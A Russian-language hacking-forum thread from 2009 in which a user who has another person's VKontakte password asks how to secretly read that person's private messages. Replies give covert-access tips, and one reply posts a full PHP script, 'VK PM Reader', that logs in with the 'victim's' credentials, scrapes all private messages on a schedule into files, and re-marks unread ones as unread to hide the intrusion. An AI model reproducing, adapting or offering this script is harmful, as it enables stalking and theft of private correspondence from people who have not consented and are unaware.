Есть пароль от Вконтакте. но нужно...
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Есть пароль от Вконтакте. но нужно... - 2009-01-12 00:32:51.856666
|
|
|
StasOn777
Сообщений: 6
Оценки: 0
Присоединился: 2009-01-12 00:27:58.940000
|
чтобы все сообщения приходили мне на мыло. То есть пользователь сообщения удаляет после прочтения, поэтому немогу прочитать их… Возможно ли?
|
|
|
RE: Есть пароль от Вконтакте. но нужно... - 2009-01-12 00:56:03.320000
|
|
|
}{roft
Сообщений: 159
Оценки: 0
Присоединился: 2007-11-08 17:18:30.900000
|
там можно добавлять несколько мыл…еще одно впиши - свое…пусть тебе приходит…
|
|
|
RE: Есть пароль от Вконтакте. но нужно... - 2009-01-12 01:01:47.126666
|
|
|
StasOn777
Сообщений: 6
Оценки: 0
Присоединился: 2009-01-12 00:27:58.940000
|
и юзер ниче не пропалит?
|
|
|
RE: Есть пароль от Вконтакте. но нужно... - 2009-01-12 01:46:53.083333
|
|
|
}{roft
Сообщений: 159
Оценки: 0
Присоединился: 2007-11-08 17:18:30.900000
|
Конечно пропалит если обратит пристальное внимание…
|
|
|
RE: Есть пароль от Вконтакте. но нужно... - 2009-01-12 04:14:12.510000
|
|
|
Brabus625
Сообщений: 33
Оценки: 0
Присоединился: 2008-06-18 19:33:26.710000
|
А рвзве на мыло приходят сами сообщения? помоему туда приходят только уведомления о том что пришло сообщение и от кого??? И то если в настройках установить об уведомлениях.
|
|
|
RE: Есть пароль от Вконтакте. но нужно... - 2009-01-12 14:51:24.860000
|
|
|
free_kode
Сообщений: 505
Оценки: 0
Присоединился: 2008-10-24 15:19:05.420000
|
на мыло приходят уведомления, причём только на одно. В настройках автоматом стоит получение уведомлений, сиди всегда на это акке=)
|
|
|
RE: Есть пароль от Вконтакте. но нужно... - 2009-01-12 23:20:03.723333
|
|
|
N73
Сообщений: 386
Оценки: -20
Присоединился: 2008-07-22 01:27:13.093333
|
если есть пароль от мыла, ставь майл агент на телефон и сиди там8| agent вот только я так не пробовал[>:] не знаю будет ли на сыль переходить8|
|
|
|
. - 2009-01-13 11:50:54.190000
|
|
|
grimreaper
Сообщений: 10
Оценки: 0
Присоединился: 2008-08-13 02:24:24.960000
|
.
|
|
|
RE: Есть пароль от Вконтакте. но нужно... - 2009-01-13 13:53:27.320000
|
|
|
FrE
Сообщений: 534
Оценки: 0
Присоединился: 2008-07-19 04:52:02.756666
|
[ Описание ] Скрипт из серии "Проверь свою бабёнку" Для работы скрипта нам соответственно нужны id, мыло и пароль жертвы. Скрипт в указанное время (если ставить на крон) или после нажатия на ссылку "Прочекать" идёт в личные сообщения, собирает их и сохраняет в файлы, отдельно входящие и отдельно исходящие. Те сообщения, которые ещё не были прочитаны помечаются как непрочитанные. [ Требования к хосту ] - PHP 5 и выше, LibCurl, set_time_limit = 0, Cron (опционально) [ Работа скрипта ] Сразу скажу, что при большом количестве сообщений (более одной страницы) скрипт начинает подглючивать, парсить не все сообщения, отмечать не все непрочитанные мессаги…виной тому сам Контакт, который ругается на слишком быстрые загрузки страниц (sleep() помогает, но с трудом). Переменная $total_pages отвечает за количество страниц, с которых нужно собрать сообщения. $sleep отвечает за таймаут между запросами…при тесте я ставил 10…более менее работало. При первом запуске необходимо создать два файла логов, сделать это можно нажав на соответствующую ссылку. Для очистки файлов тоже самое) В общем если скрипт будет интересен n-ному количеству народа, переделаю на работу через USER API или через durov.ru….посмотрим. А пока что, в таком сыром виде)) Исходный код: <?php
/**************************************************************/
/* VK PM READER FOR VKONTAKTE.RU
/* PM Reader - Скрипт для просмотра и сохранения личной
/* переписки для Vkontakte.ru.
/* Вам необходимо вписать данные жертвы в скрипт и в нужное
/* время запускать или поставить на крон.
/* Скрипт собирает все личные сообщения и сохраняет их в файл
/* (входящие и исходящие). Сообщения, которые не были прочитаны
/* помечаются как непрочитанные.
/* Скрипт пока находится в стадии тестирования и доработки,
/* поэтому хорошая работа пока не гарантируется
/*
/* === Сохраняйте файл в ANSI ===
/*
/* Автор: EnoT_PoToSkUn (icq: 1700725)
/**************************************************************/
$user['id'] = ''; // ID
$user['mail'] = ''; // Email
$user['pass'] = ''; // Password
$total_pages = 5; // Максимальное кол-во страниц для парсинга
$sleep = 3; // Время таймаута между парсингом
header('Content-Type: text/html; charset=cp-1251');
header('Cache-Control: no-cache');
header('Pragma: no-cache');
set_time_limit(0);
ignore_user_abort(1);
ob_start('ob_gzhandler', 9);
function cookies(){
global $user;
return 'remixlang=0; remixchk=5; remixmid='.intval($user['id']).'; remixemail='.str_replace('@', '%40', $user['mail']).'; remixpass='.md5($user['pass']);
}
function regexp($str){
preg_match("#<div\sclass='topTime'>(.*)</div>#i", $str, $date);
preg_match('#name="to_reply"\svalue="([0-9]+)"#', $str, $mess_id);
preg_match('#name="to_id"\svalue="([0-9]+)"#', $str, $from);
preg_match('#name="title"\svalue="(.*)"#', $str, $subj);
preg_match('#class="wrapped">(.*)</div>#Us', $str, $text);
return "\r\nmess_id:".$mess_id[1]."\r\ndate:".$date[1]."\r\nfrom:".$from[1]."\r\nsubj:".$subj[1]."\r\ntext:".trim($text[1]);
}
function history($file){
preg_match_all('#mess_id:([0-9]+)#', $file, $mess_id);
preg_match_all('#date:(.*)#i', $file, $date);
preg_match_all('#from:([0-9]+)#', $file, $from);
preg_match_all('#subj:(.*)#', $file, $subj);
preg_match_all('#text:(.*)#', $file, $text);
return array($mess_id[1], $date[1], $from[1], $subj[1], $text[1]);
}
function noread_mark($array){
$post = array();
foreach($array as $arr_id => $arr){
list($id, $read) = $arr;
if($read == 1){
$post[] = 'post'.$arr_id.'='.$id;
}else continue;
}
$init = curl_init('http://vkontakte.ru/mail.php');
curl_setopt($init, CURLOPT_COOKIE, cookies());
curl_setopt($init, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($init, CURLOPT_POST, 1);
curl_setopt($init, CURLOPT_REFERER, 'http://vkontakte.ru/mail.php');
curl_setopt($init, CURLOPT_POSTFIELDS, 'act=msgNew&inOut=0&st=0&'.join('&', $post));
curl_exec($init);
curl_close($init);
}
function parse($operate, $array = array(), $act=false){
global $sleep;
$output = array();
$init = curl_multi_init();
$act = $act ? '&out=1' : '&out=0';
foreach($array as $stream_id => $ar_id){
$p = $ar_id.'00';
$url = $operate ? 'http://vkontakte.ru/mail.php?'.rand(1000,9999).$act.'&st='.$p : 'http://vkontakte.ru/mail.php?act=show&id='.$ar_id[0].$act;
$cl[$stream_id] = curl_init($url);
curl_setopt($cl[$stream_id], CURLOPT_COOKIE, cookies());
curl_setopt($cl[$stream_id], CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cl[$stream_id], CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($cl[$stream_id], CURLOPT_REFERER, 'http://vkontakte.ru/mail.php');
curl_setopt($cl[$stream_id], CURLOPT_HEADER, 1);
curl_multi_add_handle($init, $cl[$stream_id]);
}
do{
curl_multi_exec($init, $exec);
sleep($sleep);
}while($exec);
foreach($cl as $id => $c){
$result[$id] = curl_multi_getcontent($c);
curl_multi_remove_handle($init, $c);
if(stripos($result[$id], 'HTTP/1.1 200 OK') !== false){
preg_match_all('#<tr\s([class=\'newRow\']*)\sid="mess([0-9]+)"#i', $result[$id], $out, PREG_SET_ORDER);
if($operate){
if($out) $output[] = $out;
}else{
$output[] = regexp($result[$id]);
}
}else continue;
}
curl_multi_close($init);
return $output;
}
?>
<html><head>
<title>VK PM Reader by EnoT_PoToSkUn</title>
<meta http-equiv="content-type" content="text/html; charset=cp-1251" />
<style>
<!--
bоdу{
background-color: #EEEBE2;
color: #082a48;
}
a:link,a:visited,a:active,a:hover{
color: #48749e;
text-decoration: none;
font-weight: bold;
}
#general{
background: url('http://vkontakte.ru/images/xhead2.gif') no-repeat center top;
background-color: #f3f0e9;
text-align: center;
width: 680px;
padding: 50px;
padding-bottom: 10px;
font-family: Verdana;
font-size: 12px;
border: 1px solid #46729c;
}
#menu{
background-color: #ebe2b6;
text-align: center;
border: 1px solid #d2c585;
padding: 3px;
}
.headline{
color: #396590;
font-size: 14px;
margin:5px;
font-weight: bold;
}
.blocks{
width: 80%;
text-align: left;
padding: 8px;
margin: 8px;
border: 1px solid #396590;
}
.status{
font-size: 12px;
color: #555555;
}
-->
</style>
</head><bоdу>
<center><div id="general">
<div id="menu"><a href="?">Главная</a> | <a href="?act=check">Прочекать</a> | <a href="?act=input">Входящие</a> | <a href="?act=output">Исходящие</a> | <a href="?act=clean">Очистить/создать логи</a></div>
<?php
$parse_ids = array();
$array = array();
$pages = range(0, $total_pages);
$act = !empty($_GET['act']) ? $_GET['act'] : '';
$open_in = file_exists('pm_in') && is_readable('pm_in') ? file_get_contents('pm_in') : false;
$open_out = file_exists('pm_out') && is_readable('pm_out') ? file_get_contents('pm_out') : false;
switch($act){
case 'check':
/* INPUT MESSAGES */
echo '<br/><span class="headline">» Входящие «</span><center><br/>';
if($open_in !== false){
$in = parse(true, $pages) or $in = array('');
foreach($in[0] as $mess_id){
$noread = !empty($mess_id[1]) ? 1 : 0;
$array[] = array($mess_id[2], $noread);
}
if(!empty($array)){
preg_match_all('#mess_id:([0-9]+)#', $open_in, $ids);
foreach($array as $val){
list($mid, $read) = $val;
if(!in_array($mid, $ids[1])) $parse_ids[] = array($mid, $read);
}
sleep($sleep);
$new_messages = !empty($parse_ids) ? parse(false, $parse_ids) : false;
if($new_messages){
noread_mark($array);
$to_write = is_writeable('pm_in') ? @fopen('pm_in', 'r+t') : false;
if($to_write && fputs($to_write, join('', $new_messages)) !== false)
echo '<span class="status">Новых сообщений: <b>'.count($new_messages).'</b><br/>Данные успешно записаны в лог</span><br/>';
else echo '<span class="status">Ошибка при записи данных.<br/>Возможно файл не существует или не читаем.</span><br/>';
@fclose($to_write);
}else{
echo '<span class="status">Новых сообщений нет</span><br/>';
}
}else{
echo '<span class="status">Нет новых сообщений<br/>Или проблемы с соединением с Контактом</span><br/>';
}
}else{
echo '<span class="status">Невозможно открыть файл с входящими сообщениями</span><br/>';
}
/* OUTPUT MESSAGES */
echo '<br/><span class="headline">» Исходящие «</span><center><br/>';
if($open_out !== false){
$out = parse(true, $pages, true) or $out = array('');
foreach($out[0] as $mess_id) $array[] = $mess_id[2];
if(!empty($array)){
preg_match_all('#mess_id:([0-9]+)#', $open_out, $ids);
foreach($array as $val){
if(!in_array($val, $ids[1])) $parse_ids[] = array($val, 0);
}
sleep($sleep);
$new_messages = !empty($parse_ids) ? parse(false, $parse_ids, true) : false;
if($new_messages){
$to_write = is_writeable('pm_out') ? @fopen('pm_out', 'r+t') : false;
if($to_write && fputs($to_write, join('', $new_messages)) !== false)
echo '<span class="status">Новых сообщений: <b>'.count($new_messages).'</b><br/>Данные успешно записаны в лог</span><br/>';
else echo '<span class="status">Ошибка при записи данных.<br/>Возможно файл не существует или не читаем.</span><br/>';
@fclose($to_write);
}else{
echo '<span class="status">Новых сообщений нет</span><br/>';
}
}else{
echo '<span class="status">Нет новых сообщений<br/>Или проблемы с соединением с Контактом</span><br/>';
}
}else{
echo '<span class="status">Невозможно открыть файл с входящими сообщениями</span><br/>';
}
break;
case 'input':
echo '<br/><span class="headline">» Входящие «</span><center><br/>';
if($open_in && $in = history($open_in)){
list($mess_id, $date, $from, $subj, $text) = $in;
echo 'Всего сообщений: '.count($mess_id).'<br/>';
foreach($mess_id as $key => $mid){
echo '<div class="blocks"><b>Дата:</b> '.$date[$key].'<br/><b>';
echo 'От:</b> <a href="http://vkontakte.ru/id'.$from[$key].'" target="_blank">id'.$from[$key].'</a><br/>';
echo '<b>Тема:</b> '.$subj[$key].'<br/><b>Текст:</b> '.$text[$key].'</div>';
}
}else{
echo '<span class="status">Сообщений нет или файл не существует</span><br/>';
}
break;
case 'output':
echo '<br/><span class="headline">» Исходящие «</span><center><br/>';
if($open_out && $out = history($open_out)){
list($mess_id, $date, $from, $subj, $text) = $out;
echo 'Всего сообщений: '.count($mess_id).'<br/>';
foreach($mess_id as $key => $mid){
echo '<div class="blocks"><b>Дата:</b> '.$date[$key].'<br/><b>';
echo 'Кому:</b> <a href="http://vkontakte.ru/id'.$from[$key].'" target="_blank">id'.$from[$key].'</a><br/>';
echo '<b>Тема:</b> '.$subj[$key].'<br/><b>Текст:</b> '.$text[$key].'</div>';
}
}else{
echo '<span class="status">Сообщений нет или файл не существует</span><br/>';
}
break;
case 'clean':
echo '<br/><span class="headline">» Исходящие «</span><center><br/>';
echo '<p align="center"><a href="?act=clean&in">Очистить/создать файл для входящих сообщений</a><br/>';
echo '<p align="center"><a href="?act=clean&out">Очистить/создать файл для исходящих сообщений</a><br/>';
if(isset($_GET['in'])){
$open = @fopen('pm_in', 'w+t');
@fclose($open);
header('location: ?act=clean');
die();
}elseif(isset($_GET['out'])){
$open1 = @fopen('pm_out', 'w+t');
@fclose($open1);
header('location: ?act=clean');
die();
}
break;
default:
echo '<span class="headline">» Описание «</span><center><br/><br/>';
echo '<div class="blocks">PM Reader - Скрипт для просмотра и сохранения личной переписки для Vkontakte.ru.<br/>';
echo 'Вам необходимо вписать данные жертвы в скрипт и в нужное время запускать или поставить на крон.<br/>';
echo 'Скрипт собирает все личные сообщения и сохраняет их в файл (входящие и исходящие). Сообщения, которые ';
echo 'не были прочитаны помечаются как непрочитанные.<br/>Скрипт пока находится в стадии тестирования и ';
echo 'доработки, поэтому хорошая работа пока не гарантируется.<br/></div>';
break;
}
flush();
?>
</div><br/><a href="http://enot.freeroot.ru/"><small>© EnoT_PoToSkUn 2008</small></a></center></bоdу></html> Сохраняйте как ANSI P.S. Понимаю что не совсем то, но всё же может пригодится;) ########################### #Взято с forum.antichat.ru# ###########################
|
|
|
RE: Есть пароль от Вконтакте. но нужно... - 2009-01-13 14:51:10.660000
|
|
|
MotoKiller
Сообщений: 1732
Оценки: 56
Присоединился: 2008-03-02 20:08:53.810000
|
Может через Qip.Online прокатит?
|
|
|
RE: Есть пароль от Вконтакте. но нужно... - 2009-02-07 06:01:02.996666
|
|
|
kateryn.kate
Сообщений: 1
Оценки: 0
Присоединился: 2009-02-07 03:33:36.550000
|
quote:
ORIGINAL: MotoKiller Может через Qip.Online прокатит? Прокатит если в скрипте разберёшься и сам все поправиш.
|
|
|
|
|